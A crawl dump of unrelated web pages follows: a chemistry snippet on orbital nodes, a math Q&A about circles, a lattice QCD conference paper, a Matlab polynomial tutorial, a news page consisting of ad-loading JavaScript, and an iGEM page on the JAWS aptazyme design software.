orbital?\n\nThere are two types of node: radial and angular.The number of angular nodes is always equal to the orbital angular momentum quantum number, l.The number of radial nodes = total number of nodes minus number of angular nodes = (n-1) – l.\n\n## How many radial nodes does a 4f orbital have?\n\n0 radial nodesIn general, the nf orbital has (n – 4) radial nodes, so the 4f-orbitals have (4 – 4) = 0 radial nodes, as shown in the above plot."
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https://math.answers.com/Q/How_is_finding_the_area_of_a_circle_similar_to_finding_the_circumference_of_a_circle | [
"",
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"0\n\n# How is finding the area of a circle similar to finding the circumference of a circle?\n\nUpdated: 8/20/2019",
null,
"Wiki User\n\n10y ago\n\nThey both use pi:-",
null,
"Wiki User\n\n10y ago",
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"",
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"Study guides\n\n14 cards\n\n## Which of the following is not a step in the inquiry process\n\n➡️\nSee all cards\n3.89\n148 Reviews",
null,
"Earn +20 pts\nQ: How is finding the area of a circle similar to finding the circumference of a circle?\nSubmit\nStill have questions?",
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"",
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"Related questions\n\n### What is the formula for finding circumference and area of a circle?\n\nCircumference of a circle is (pi * diameter). Area of a circle is (pi * r2).\n\n### Why is pi important in layman term?\n\nThe circumference of a circle divided by its diameter is the value of pi and pi has a wide range of uses some of which are:- Finding the volume of a sphere Finding the surface area of a sphere Finding the volume of a cone Finding the volume of a cylinder Finding the area of a circle Finding the circumference of a circle\n\n### What does pi have to do with the area and circumference of a circle?\n\nIt is used in finding the circumference and area of a circle. Circumference = 2*pi*radius or pi*diameter measured in linear units Area = pi*radius2 measured in square units\n\n### What is the formula of finding the circumference of a sphere?\n\n4*pi*r2. because surface area is equal to circumference of circle.\n\n### What are everyday uses for pi?\n\nSome of many examples are:- Finding the circumference of a circle Finding the area of a circle Finding the surface area of a sphere Finding the volume of a sphere Finding the surface area of a cylinder Finding the volume of a cylinder Finding the volume of a cone Finding the surface area of a cone\n\n### What measurement to find how much frosting covers the top of a birthday cake area circumference or perimeter?\n\nCircumference is what you use when finding the area of a circle.\n\n### Does pie only apply to circles?\n\nyes,like finding area of circle, the base of a cylinder, circumference of a circle.\n\n### What are 3 uses of pi?\n\nFinding the area of a circle: pi*radius2 Finding the circumference of a circle: 2*pi*radius or diameter*pi Finding the surface area of a sphere: 4*pi*radius2\n\n### What is pi used for in geometry?\n\nSome of the many applications that pi is used in geometry are as follows:- Finding the area of a circle Finding the circumference of a circle Finding the volume of a sphere Finding the surface area of a sphere Finding the surface area and volume of a cylinder Finding the volume of a cone\n\n### How do you fund the circumference of circle when you know the area?\n\nYou dived the area by the circumference of the circle.\n\n### Is the Area of a circle and circumference of a circle have the same thing?\n\nNo,Circumference is like the perimiter and Area is the whole circle.\n\n### What is is circumference of a circle is 6.28. What is the area of the circle?\n\nIf the circumference of a circle is 6.28 then its area is about 3.138 square units"
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https://www.arxiv-vanity.com/papers/hep-lat/0208056/ | [
"# Recent results from systematic parameterizations of Ginsparg-Wilson fermions\n\nChristof Gattringer\\address[MCSD] Institut für Theoretische Physik, Universität Regensburg, D-93040 Regensburg, Germany The work reported here was done in the BGR (Bern-Graz-Regensburg) collaboration. The author is supported by the Austrian Academy of Sciences, APART 654.\n###### Abstract\n\nThe ”Fixed Point Dirac Operator” and ”Chirally Improved Fermions” both use large numbers of gauge paths and the full Dirac structure to approximate a solution of the Ginsparg-Wilson equation. After a brief review of the two approaches we present recent results for quenched QCD with pion masses down to 210 MeV. We discuss the limits and advantages of approximate parameterizations and outline future perspectives.\n\n## 1 Introduction\n\nThe fundamental difficulties with the implementation of chiral symmetry on the lattice were finally overcome with the rediscovery of the Ginsparg-Wilson equation [1, 2] for the lattice Dirac operator ,\n\n Dγ5+γ5D=2aDRγ5D. (1)\n\nOn the right-hand side is a local operator commuting with and denotes the lattice spacing. This equation implies exact chiral symmetry on the lattice . Results obtained with Dirac operators obeying (1) exactly or approximately now allow to test QCD also in the chiral regime (see for a recent review). The most widely used chiral Dirac operator is the so-called overlap operator . The overlap formula gives a simple explicit prescription how to construct a Ginsparg-Wilson fermion (i.e. a solution of Eq. (1)) from any decent lattice Dirac operator. An approach related to the overlap formalism are domain wall fermions where an auxiliary fifth dimension is used to implement the chiral symmetry.\n\nBesides the overlap and domain wall fermions two more approaches to chiral symmetry are known, fixed point fermions [7, 8, 9, 10] and the chirally improved operator [11, 12]. The fixed point (FP) Dirac operator is constructed from the saddle point evaluation of the RG equations. The chirally improved (CI) operator is obtained by a systematic expansion of a solution of the Ginsparg-Wilson equation. In a practical application both the FP and the CI operator will use only finitely many terms (essentially restricted to the hypercube) and one can expect only an approximation of a Ginsparg-Wilson fermion. Exact chiral symmetry can, however, be obtained by using the FP or CI operators as a starting point in the overlap projection (see also ). Using an improved operator for the overlap was found to improve the localization and one can hope to also obtain better dispersion and scaling properties. However, additional overlap steps also drive up the cost of the Dirac operator in numerical implementations.",
null,
"Figure 1: Schematic representation of a general lattice Dirac operator.\n\nIn this contribution we analyze how far into the chiral region one can proceed with FP or CI fermions without additional overlap steps. Following a short review of the construction of FP and CI fermions we will discuss several recently obtained results. We address the spectrum of the Dirac operator and the determination of the topological charge and susceptibility from the index theorem. This is followed by a discussion of the results from quenched spectroscopy with emphasis on the pion mass close to the chiral limit where we extract the quenched chiral log parameter . We study the scaling behavior of rho and proton masses and of the pion decay constant. We conclude with a discussion of the range of pion masses where one can work competitively with FP and CI fermions without overlap projection.\n\n## 2 Construction of FP and CI fermions\n\nThe construction for both the FP and CI operators starts from the expression for a general Dirac operator on the lattice [8, 11]. In Fig. 1 we give a schematic representation of such a general lattice Dirac operator.\n\nLet us start the discussion of the structure with already familiar terms. In the dashed square in the upper left corner of Fig. 1 we show the terms that are used in the Wilson Dirac operator. There are two terms coming with the unit matrix in Dirac space: Firstly a constant term consisting of the mass parameter and the center term in the discretization of the Laplacian. They are represented by a dot. Secondly also the nearest neighbor terms from the discretization of the Laplacian come with a unit matrix in Dirac space. These hopping terms are represented by single hops, i.e. straight lines in all directions (for artistic reasons we show only two of the four possible directions). Besides the two terms trivial in Dirac space, the Wilson operator also contains the naively discretized massless Dirac operator where a sum over all together with hops in positive and negative -direction occurs (we show only one of the four directions). In order to describe a derivative here the hops in positive and negative direction come with different signs. The parameters and are real numbers chosen such that a fermion free of doublers with a given mass is described.\n\nA more general Dirac operator is obtained when more terms are used to discretize the derivative, such as next to nearest neighbor terms, staples etc. Similarly one can also extend the number of terms in the trivial Dirac sector. Finally from the Symanzik improvement program it is already known that also sectors of the Clifford algebra other than the trivial and vector sectors can contribute to the Dirac operator. So the structure of a general Dirac operator as depicted in Fig. 1 is a sum over all elements of the Clifford algebra. Each element is multiplied with paths of link variables and each path has some coefficient . Some of the paths have the same coefficient but differ by relative sign factors. These sign factors are entirely determined by implementing the symmetries C,P and -hermiticity (i.e. ). Rotation invariance requires paths related by rotations on the lattice to come with the same coefficient and translation invariance makes the coefficients independent of the actual space time point. With our particular choice of the representation of the Clifford algebra the coefficients are real. A further generalization can be obtained by allowing these coefficients to be real functions of local loops of gauge links. This option is used for the construction of the FP Dirac operator.\n\nThe FP and the CI operator now differ only in the method for determining the coefficients . For the FP operator the goal is to use the coefficients to approximate a solution of the fixed point equation for the Dirac operator. The basic idea is that near the critical surface the theory is invariant under real space renormalization group transformations that relate the quantum fields on a fine lattice to fields on a coarser lattice. In general the corresponding equations are quite involved but in the weak coupling limit they can be solved using the saddle point method. For the Dirac operator the FP equation reads\n\n Dc=κ−κ2Ω[Df+ κΩ†Ω]−1Ω†. (2)\n\nHere () is the FP Dirac operator evaluated on the coarse (fine) gauge field configurations. is the blocking kernel for the fermions and a free parameter of the blocking procedure which can be used to maximize the slope of the exponential decay of the Dirac operator. The coefficients of the Dirac operator were now adjusted such that a functional measuring essentially the difference between the left-hand and right-hand sides of (2) on an ensemble of coarse and fine gauge configurations related by the renormalization group is minimized. In the actual construction this procedure was iterated starting from an ensemble at very weak coupling, followed by an intermediate step and finally a last minimization step at the target coupling. We remark that the action was optimized only for one such coupling corresponding to a lattice spacing of fm and then used also for the other two couplings. The parameterized FP operator is described by 82 couplings corresponding to 41 independent terms and each of the coefficients is a linear function of local closed gauge loops. All terms of the FP operator are restricted to the hypercube.\n\nFor the CI operator the strategy is to directly insert the expanded Dirac operator as depicted in Fig. 1 into the Ginsparg-Wilson equation (1) with a trivial kernel . The evaluation of the two sides of Eq. (1) can be implemented in an algebraic computer program using directly the systematic representation of Fig. 1. The result is an expansion for both sides of the Ginsparg-Wilson equation similar to the expansion of the original Dirac operator. One can show that the individual terms (different element of the Clifford algebra, different paths) are linearly independent. The coefficients of equal terms on the two sides have to be equal and one can read off a system of coupled quadratic equations for the expansion coefficients\n\n 2s1 = s21+8s22...+8v21... 2s2 = 2s1s2+12s2s3...+12v1v2... ..... (3)\n\nThis system is equivalent to the original Ginsparg-Wilson equation. After one truncates the expansion in Fig. 1 this system becomes finite and can be solved numerically. In addition to the equations representing the Ginsparg-Wilson equation one can impose boundary conditions, i.e. additional equations for the coefficients enforcing vanishing quark mass, the correct dispersion relation in the free case, improvement etc. The resulting CI operator is an approximation of a solution of the Ginsparg-Wilson equation. The CI operator has 19 coefficients and terms on the hypercube plus an extra L-shaped term of length .\n\n## 3 Spectrum of eigenvalues\n\nA first impression of the quality of the approximation of a Ginsparg-Wilson Dirac operator can be obtained by inspecting eigenvalues of the Dirac operator in typical gauge backgrounds. For an exact solution of the Ginsparg-Wilson equation the spectrum is restricted to a circle of radius 1 with center 1 in the complex plane. For the two approximations considered here the spectrum will not exactly lie on the Ginsparg-Wilson circle but show small fluctuations around it.\n\nIn Fig. 2 we show a superposition of 6 spectra of the CI operator in quenched background gauge configurations on lattices with lattice spacing fm. Shown are the 50 smallest eigenvalues for each configuration. It is obvious that the eigenvalues are not located exactly on the Ginsparg-Wilson circle but the fluctuations are rather small. In particular we do not find many configurations with negative real eigenvalues. Such so-called exceptional configurations give rise to numerical problems in the computation of the propagator and limit the smallest quark masses one can work at. As will be discussed below the suppression of the eigenvalue fluctuations achieved by the FP and CI operators allows us to work at considerably smaller quark masses than with e.g. Wilson fermions.",
null,
"Figure 2: Superposition of 6 spectra of the CI operator. Shown are the 50 smallest eigenvalues in the complex plane for 6 configurations on 123×24 lattices with lattice spacing a=0.1 fm.\n\nAn immediate consequence of the well ordered spectrum is the possibility to use the index theorem for evaluating the topological charge with the FP and CI operators, while for Wilson fermions the large fluctuations of the eigenvalues lead to a mixture of physical and doubler modes . We determined the topological charge as where () is the number of eigenvectors with negative (positive) matrix element with . Measurements [9, 17] on different volumes and lattice spacings give for the topological susceptibility () values of (196(4)MeV) for the FP operator and (191(2)MeV) for the CI operator.",
null,
"Figure 3: The behavior of the topological susceptibility across the QCD phase transition computed using the eigenvalues of the CI operator and the index theorem. The critical temperature is marked by a dashed vertical line.\n\nFor the CI operator a detailed analysis of the behavior of across the finite temperature QCD phase transition was performed . The quenched gauge configurations were generated with the Lüscher-Weisz gauge action . Our results for the topological susceptibility as a function of the temperature are displayed in Fig. 3. One finds that the results obtained on lattices with spatial extent and 20 nicely agree with each other showing that finite size effects are under control. We also include results from and lattices to set the base line below . The critical temperature as determined for the Lüscher-Weisz action in is marked by the dashed vertical line. One finds that the topological susceptibility starts to decrease already below and quickly diminishes as the temperature increases further. The results obtained here using the index theorem agree well with calculations based on bosonic methods for the determination of the topological charge .\n\n## 4 Quenched spectroscopy\n\nDuring the last year the major goal of the BGR collaboration was to use the FP and CI Dirac operators for quenched spectroscopy. Before we discuss the results of this study let us briefly outline the setting of these calculations.\n\nFor the FP operator the perfect gauge action was used to generate the quenched ensembles. The gauge configurations were smoothened with perfect smearing (which we consider as part of the parameterization of the Dirac operator) and subsequently fixed to Coulomb gauge. For the quark sources a Gaussian distribution was used.\n\nThe CI operator was used with gauge ensembles generated with the Lüscher-Weisz action . Here the gauge configurations were treated with one step of hypercubic blocking . For the CI operator Jacobi smeared sources were used and no gauge fixing was necessary.\n\nFor both operators we worked on three lattice sizes, and . For both gauge actions we used three different gauge couplings corresponding to lattice spacings of roughly (0.16 for FP), 0.10 and 0.08 fm ( determined from the Sommer parameter). The statistics varied between 100 and 200 configurations for each ensemble. Our choice for the volumes and lattice spacings allows to study the scaling behavior with three different values of at a fixed spatial length of about 1.3 fm and a finite size study at a fixed lattice spacing fm. For a more detailed account of our setting for quenched spectroscopy see .",
null,
"Figure 4: Pion mass (circles) and AWI mass (crosses) as a function of the bare quark mass. 163×32 lattice, a=0.16 fm, FP operator.\n\nLet us begin the discussion of our quenched spectroscopy results with the pion mass and the axial Ward identity (AWI) mass. We computed the pion mass using different 2-point correlators (pseudoscalar, time component of the axial current, and the mixed correlator) and also compared correlators with smeared sink to point-like sink correlators. For all these measurements we find good agreement of the pion masses. The (unrenormalized) AWI mass was computed as\n\n mAWI=⟨∂0A0P⟩2⟨PP⟩, (4)\n\nwhere is the pseudoscalar density and the time component of the axial vector current. In Fig. 4 we show the mass of the pion as computed from the pseudoscalar 2-point function (circles) and the AWI mass (crosses) as a function of the bare quark mass. This plot was generated using the FP operator on a lattice at a lattice spacing fm.\n\nIt is a convincing sign of good chiral properties that both the pion mass and the AWI mass extrapolate to zero with the bare quark mass. However, for smaller volumes ( or 1.3 fm) we found that the quenched topological finite size effects caused by the zero modes become more important. They can be removed by subtracting the scalar propagator, which has the same topological finite size effect but larger mass, from the pseudoscalar 2-point function (see for more details). In Fig. 4 we show also two fits to the pion data, a quadratic fit (full curve) and a fit including the quenched chiral log (dashed curve). Our results for the quenched chiral log from a different method will be discussed below.\n\nAnother test of chirality is to determine the residual quark mass. This was done using a linear fit to the AWI mass and taking the intercept of the straight line with the horizontal axis as the residual quark mass . For the FP operator we computed a residual mass of at fm increasing in size to at . This increase is due to the fact that we used the FP action which was optimized for the ensemble also at finer lattice spacing without redetermining the coefficients. For the CI operator the residual quark mass came out between at fm and at fm. The smallest pion masses we have worked at are MeV for the FP operator and MeV for the CI operator. We expect that for both operators it is possible to go down to MeV without having to use exceedingly fine lattices.",
null,
"Figure 5: APE plots for the FP (top) and CI (bottom) operators.\n\nAs another important benchmark measurement we looked at APE and Edinburgh plots. In Fig. 5 we show APE plots for the FP (top) and the CI (bottom) operator. For the FP operator we show three sets of data: The results for spatial extent fm at fm (circles), the same ensemble but with the FP operator augmented with three steps of the overlap projection using Legendre polynomials (crosses) and finally results at fm, fm (triangles). When comparing the FP operator on volumes with fm and fm we find that the data agree well and we do not observe finite size effects for fm. Also the overlap augmented FP operator (crosses) gives rise to results which are in very good agreement with the unimproved FP data.\n\nIn the bottom figure for the CI operator we compare a data set from a finer but smaller lattice ( fm, fm, circles) to results from a lattice similar to the one used for the FP operator in the top figure ( fm, fm, triangles). Here we do see a splitting between the two curves which we attribute to finite size effects and a small scaling violation. It is interesting to note that the data from the FP operator extrapolate very well to the physical value (marked by a star in the plot), while the result from the CI operator undershoots the physical value similar to what is known from other quenched simulations (see e.g. ).",
null,
"Figure 6: Scaling of the octet baryon mass (circles) and the vector mass (triangles). Filled symbols represent the FP results, while open symbols are used for the CI operator.\n\nWe conclude our discussion of the quenched spectroscopy with a brief discussion of the scaling properties of hadron masses. To do so, we work for both the FP and the CI operator at a bare quark mass which gives a ratio of . At such a mass the statistical error is small and also a comparison with less chiral actions can be done (see e.g. ). In Fig. 6 we show the octet (circles) and vector (triangles) masses as a function of the square of the lattice spacing. For both the horizontal and vertical axes we use the Sommer parameter to set the scale. Filled symbols represent the FP results, while open symbols are used for the CI operator. The symbols are connected to guide the eye.\n\nThe results from the two operators agree within error bars. Both sets of data show only a small deviation from a horizontal line indicating that both and effects are small. Note that since both the parameterized FP operator as well as the CI operator are only approximate solutions of the Ginsparg-Wilson it can not a priori be expected that effects are absent. However, the plot shows that scaling violations are very small.\n\n## 5 Pion decay constant\n\nThe definition of the pion decay constant can be combined with the axial Ward identity to yield\n\n fπ=2m√ZPPm2π. (5)\n\nHere is the prefactor of the pseudoscalar 2-point function at zero-momentum,\n\n ∑x⟨P(x,t)P(0,0)⟩∼ZPP2mπexp(−mπt). (6)\n\nStrictly speaking formula (5) holds only for Dirac operators with exact chiral symmetry where the product of renormalization constants equals 1. For the approximate solutions of the Ginsparg-Wilson equation which we use here this is currently only an assumption which will eventually have to be tested.",
null,
"Figure 7: Pion decay constant as a function of the bare quark mass. 163×32 lattice, a=0.1 fm, CI operator.\n\nIn Fig. 7 we show according to Eq. (5) as a function of the bare quark mass (both in units of the lattice spacing as determined from the Sommer parameter) for the CI operator on the ensemble at fm. We interpolate the data using a second order polynomial which we subsequently use to extrapolate the data to the chiral limit. We collected the results from the chirally extrapolated values of from the CI operator and analyzed the scaling of this observable. We find that all data agree well within error bars and the discretization errors are small. Our quenched results come out 10-15 % larger than the experimental value (see for a more detailed discussion).\n\n## 6 Quenched chiral logs\n\nWe have already briefly addressed the possibility of extracting the quenched chiral log parameter from the pion mass (compare Fig. 4 and the discussion below the figure). However, here we use a method which allows to increase the statistics by using pions with non-degenerate quark masses and which also gets rid of the dependence on the unknown chiral perturbation scale .\n\nThe idea is to form the combinations and\n\n x = 2+m1+m2m1−m2ln(m2m1), y = 4m1m2(m1+m2)2M124M112M222. (7)\n\nHere denotes the mass of the pseudoscalar with quark masses and . Using the results of one finds\n\n y=1+δx+O(m2,δ2,aϕ), (8)\n\ni.e. to leading order the quenched chiral log parameter can be read off from the slope in a plot of versus .",
null,
"Figure 8: x-y plot used to determine the quenched chiral log parameter δ (FP operator, 163×32,a=0.16 fm).\n\nIn Fig. 8 we show such a - plot for the FP operator on the lattice at fm. The data lie inside a band which gives rise to (compare for previous determinations of with chiral fermions). For the CI operator we obtain a very similar result of . These results were obtained by using the unrenormalized AWI quark mass for in Eq. (7). For the CI operator we have also experimented with using the bare quark mass instead and we present a more detailed discussion in .\n\nWe remark that we also have obtained preliminary results for the pion scattering lengths and some details are also presented in .\n\n## 7 Conclusions\n\nIn this contribution we have presented results from quenched QCD calculations using the parameterized FP and CI operators. Both these operators are approximate solutions of the Ginsparg-Wilson equation and are expected to have good chiral properties. Here these expectations are tested using various observables.\n\nWe find that both the pion and the AWI mass nicely extrapolate to 0 as a function of the bare quark mass. If one uses the offset in a linear extrapolation of the AWI mass as a criterion for the remaining chiral symmetry breaking we find residual quark masses between 1 and 4 MeV on a quite coarse lattice with fm. We have successfully extracted the quenched chiral log parameter using pions with non-degenerate quark masses. The octet and vector masses, as well as the pion decay constant show very good scaling behavior. We have demonstrated that we can reach pion masses of about 210 MeV without having to go to very small lattice spacings. A more detailed account of our measurements can be found in .",
null,
"Figure 9: A sketch comparing the cost of different Dirac operators as a function of the pion mass.\n\nWe would like to wrap up our conclusions with a brief comment on where we think our approximate Ginsparg-Wilson fermions will be competitive. In Fig. 9 we show a sketch which compares the cost of different lattice Dirac operators as a function of the pion mass. For heavy quarks the operator of choice is certainly Wilson’s Dirac operator, maybe combined with clover improvement. However, if one wants to go to smaller masses one has to increase the inverse gauge coupling to reduce eigenvalue fluctuations responsible for exceptional configurations. This leads to a finer lattice and the volume has to be increased which drives up the cost, making Wilson fermions very expensive below pion masses of 300 MeV. At such small masses it is more economical to use the more expensive FP or CI operators which cost about a factor of 30 more than Wilson’s operator (see for a more detailed discussion of the cost). As already remarked, with these operators we reached 210 MeV without having to go to very fine lattices and we expect that we will remain competitive down to at least 200 MeV. If one needs to go further into the chiral region, e.g. when computing the chiral condensate, one eventually has to use overlap projection to further decrease the pion mass. We believe that in the window between pion masses of 200 and 300 MeV the FP and CI operators are the best choice and we will explore whether this is sufficient to make reliable contact with chiral perturbation theory.\n\nAcknowledgements: I would like to thank the members of the BGR collaboration for sharing their experience and enthusiasm during this first year of work. The calculations were done on the Hitachi SR8000 at the Leibniz Rechenzentrum in Munich and we thank the LRZ staff for training and support. This work was supported in parts by DFG and BMBF.\n\n## References\n\nWant to hear about new tools we're making? Sign up to our mailing list for occasional updates.\n\nIf you find a rendering bug, file an issue on GitHub. Or, have a go at fixing it yourself – the renderer is open source!\n\nFor everything else, email us at [email protected]."
]
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"https://media.arxiv-vanity.com/render-output/5206685/x1.png",
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"https://media.arxiv-vanity.com/render-output/5206685/x2.png",
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"https://media.arxiv-vanity.com/render-output/5206685/x5.png",
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"https://media.arxiv-vanity.com/render-output/5206685/x7.png",
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"https://media.arxiv-vanity.com/render-output/5206685/x8.png",
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"https://media.arxiv-vanity.com/render-output/5206685/x9.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9005991,"math_prob":0.9531906,"size":26497,"snap":"2021-21-2021-25","text_gpt3_token_len":6300,"char_repetition_ratio":0.15498434,"word_repetition_ratio":0.02803948,"special_character_ratio":0.23202626,"punctuation_ratio":0.11637931,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9866237,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-22T19:24:33Z\",\"WARC-Record-ID\":\"<urn:uuid:f21045ae-f1ab-4a76-a255-d4fcfdc2bd44>\",\"Content-Length\":\"250244\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ab2ac5d3-f841-49e1-9e23-b2c2fc2f27d9>\",\"WARC-Concurrent-To\":\"<urn:uuid:7f7389cc-672a-4836-a947-20be8bf4546e>\",\"WARC-IP-Address\":\"172.67.158.169\",\"WARC-Target-URI\":\"https://www.arxiv-vanity.com/papers/hep-lat/0208056/\",\"WARC-Payload-Digest\":\"sha1:OXA56UGG4XSMT5F6SXIEVVASQHHZXJUV\",\"WARC-Block-Digest\":\"sha1:IA6GGAUGGFA7GV4YHV2JUUYJL7JQIMUQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623488519735.70_warc_CC-MAIN-20210622190124-20210622220124-00169.warc.gz\"}"} |
https://www.math.colostate.edu/~gerhard/M345/CHP/pol.html | [
"Math 345: Differential Equations Course Description Notes and Files Homework Assignments Chapter Notes\n\nPolynomials in Matlab\n\nContents\n1. Representation of polynomials\n2. Derivatives\n3. Roots\n\n1. Representation of polynomials\n\nIn Matlab, a polynomial is represented by a row vector of its coefficients. If the polynomial has degree n, the corresponding representing vector has length n+1 and contains the coefficients associated with decreasing powers from left to right. Zero coefficients must be marked as zero entries. For example, [3 2 1] represents P(r) = 3r2 + 2r + 1 whereas [1 0 0] represents P(r) = r2.\n\nThe command polyval(vector,arg) interprets vector as polynomial and evaluates it at arg, which can be a number, a vector or even a matrix (pointwise evaluation - like sin(x) if x is an array).\n\nExample:\n\n» p=[1 2 1];polyval(p,1),polyval(p,[1 2])\n\nans =\n\n4\n\nans =\n\n4 9\n\nThis allows to plot polynomials in the usual way using plot. For example, with the commands\n\n» r=linspace(-2,0,100);plot(r,polyval([1 2 1],r))\n\na plot of P(r) = r2+2r+1 in the range -2 £ r £ 0 is created using 100 supporting points.\n\n2. Derivatives\n\nAnother useful command is polyder(vector). Here again the vector argument is interpreted as polynomial and the output is the vector representing the derivative of this polynomial. For example, the derivative of P(r) = r2+2r+1 (vector [1 2 1]) is P'(r)=2r+2 (vector [2 2]) which you can find by executing\n\n» polyder([1 2 1])\n\nans =\n\n2 2\n\n3. Roots\n\nRoot command. The most important command is root(vector)which finds numerically all roots of the polynomial associated with the vector argument. Let's define a polynomial of degree 6 with random coefficients and compute its roots:\n\n» p=rand([1 7]),roots(p)\n\np =\n\n0.9169 0.4103 0.8936 0.0579 0.3529 0.8132 0.0099\n\nans =\n\n-0.4043 + 1.0987i\n-0.4043 - 1.0987i\n0.5809 + 0.6921i\n0.5809 - 0.6921i\n-0.7883\n-0.0122\n\nThe first output shows 7 random numbers between 0 and 1 to which a polynomial of degree 6 is associated. The second output contains numerical approximations of the 6 roots of this poynomial which are stored in a column vector. Let's confirm that the third number of the last answer is indeed a root:\n\n» polyval(p,ans(3))\n\nans =\n\n9.1073e-016 +7.8063e-017i\n\nMultiple roots. There are some complications with multiple roots. For second degree polynomials these are usually recognized, but not necessarily for polynomials of higher degree. The polynomials r2+2r+1 and r3+3r2 +3r+1 have just one root r = -1, but\n\n» roots([1 2 1]),roots([1 3 3 1])\n\nans =\n\n-1\n-1\n\nans =\n\n-1.00000913968880\n-0.99999543015560 + 0.00000791513186i\n-0.99999543015560 - 0.00000791513186i\n\nin the cubic case three different (though close) values are returned."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8420067,"math_prob":0.9941233,"size":2679,"snap":"2019-13-2019-22","text_gpt3_token_len":808,"char_repetition_ratio":0.13271028,"word_repetition_ratio":0.0046948357,"special_character_ratio":0.33818588,"punctuation_ratio":0.13321167,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9995598,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-03-21T20:52:36Z\",\"WARC-Record-ID\":\"<urn:uuid:d0f5a724-75d6-4db9-879d-055375fe1c70>\",\"Content-Length\":\"7794\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bccd5b41-258e-4475-a1a6-22320af60545>\",\"WARC-Concurrent-To\":\"<urn:uuid:0672a70a-e376-4bd6-a395-f358f45b0009>\",\"WARC-IP-Address\":\"129.82.154.79\",\"WARC-Target-URI\":\"https://www.math.colostate.edu/~gerhard/M345/CHP/pol.html\",\"WARC-Payload-Digest\":\"sha1:SKNXWO36KAEKCXYUSFD4ZVU64GNSXL22\",\"WARC-Block-Digest\":\"sha1:YJXTW2PSGJENCLTTHPZR2RHUAHGKJ67B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-13/CC-MAIN-2019-13_segments_1552912202572.29_warc_CC-MAIN-20190321193403-20190321215403-00222.warc.gz\"}"} |
https://www.jpost.com/breaking-news/article-754107 | [
"(function (a, d, o, r, i, c, u, p, w, m) { m = d.getElementsByTagName(o), a[c] = a[c] || {}, a[c].trigger = a[c].trigger || function () { (a[c].trigger.arg = a[c].trigger.arg || []).push(arguments)}, a[c].on = a[c].on || function () {(a[c].on.arg = a[c].on.arg || []).push(arguments)}, a[c].off = a[c].off || function () {(a[c].off.arg = a[c].off.arg || []).push(arguments) }, w = d.createElement(o), w.id = i, w.src = r, w.async = 1, w.setAttribute(p, u), m.parentNode.insertBefore(w, m), w = null} )(window, document, \"script\", \"https://95662602.adoric-om.com/adoric.js\", \"Adoric_Script\", \"adoric\",\"9cc40a7455aa779b8031bd738f77ccf1\", \"data-key\");\nvar domain=window.location.hostname; var params_totm = \"\"; (new URLSearchParams(window.location.search)).forEach(function(value, key) {if (key.startsWith('totm')) { params_totm = params_totm +\"&\"+key.replace('totm','')+\"=\"+value}}); var rand=Math.floor(10*Math.random()); var script=document.createElement(\"script\"); script.src=`https://stag-core.tfla.xyz/pre_onetag?pub_id=34&domain=\\${domain}&rand=\\${rand}&min_ugl=0\\${params_totm}`; document.head.append(script);"
]
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https://2015.igem.org/Team:Heidelberg/software/jaws | [
"# Team:Heidelberg/software/jaws",
null,
"Abstract\n\nAptazymes, i.e. fusions of a catalytic ribozyme or DNAzyme with one or several aptamers, make construction of nucleic acids-based circuits responding to external stimuli possible, as their catalytic activity can be activated in either the presence or absence of the cognate ligand. The design of aptazymes has been hampered by the need for communication modules, which translate the binding of a ligand to the aptamer into a change of function in the catalytic nucleic acid. Standard procedure herefore is selection on the one hand and rational design on the other, resulting in tedious work which is not certain to succeed. To this day, only few attempts have been made to automatize the design process, which all target a specifically designed chassis ribozyme. Here we describe a software \"JAWS\" (Joining Aptamers Without Selection) using a criterion for computational selection of communication modules based upon the partition function, as well as energetic and entropic data. This is then used in a random search-like algorithm to extract optimal communication modules without the need for selection.\n\nIntroduction\n\nDesigning communication modules for controlling functional nucleic acids usually requires either the use of known modules Kertsburg2002, or a selection process, whereby nucleic acids containing randomized modules are folded in the presence of the controlling ligand and assayed for their activityKertsburg2002. This constitutes a tedious and lengthy process, with uncertain results, whereafter nucleic acids have to be folded in the presence of their ligand to display activity Penchovsky2013. This renders impractical all kinds of assays requiring more complicated switching behaviour, as increasingly complex arrays of communication modules would require increasingly complex selection schemes. Those selection schemes can prove restrictive to smaller labs, as well as iGEM teams, whose time and equipment-constraints do not allow for a selection process of multiple weeks. To alleviate the need for selection, a variety of methods have been developed for the case of the hammerhead ribozyme. These range from long, predefined communication modules Kertsburg2002 to computational methods involving an energetic criterion, as well as random search algorithms to construct dynamically switching modules Penchovsky2013Penchovsky2005. Although those approaches address the specific problem of the hammerhead ribozyme very well, they lack generality, as the hammerhead ribozymes used there are heaviliy modified to allow for an easy design process Penchovsky2013. Here we developed a completely general approach to the computational design of communication modules, relying on a variable set of constraints. We validated several computationally designed aptazymes with different combinations of aptamer and functional nucleic acid in vitro and found that all of them showed the desired switching behavior.\n\nCommunication Module Scheme",
null,
"Fig.1: The concept behind JAWS' communication modules:\n\nThe stem containing the aptamer (turquoise) contains base-pairs involving the aptamer in the inactive conformation. Activation occurs by strand displacement following ligand binding. Thereafter, another stem (black) forms, involving neither the ribozyme (purple) nor th aptamer.\n\nAlgorithm\n\nThe JAWS Algorithm",
null,
"Figure 2: JAWS uses a random search algorithm coupled to constraints to identify bistable nucleotide sequences:\n\nA partial template containing the ribozyme sequence 5' of the aptamer, the aptamer itself and the ribozyme sequence 3' of the aptamer is loaded, nucleotides between ribozyme and aptamer are randomised. Constraints enforcing active structure formation and inactive structure formation are enforced. Following that, sequences conforming to those constraints are accepted.\n\nActive and Inactive Constraints",
null,
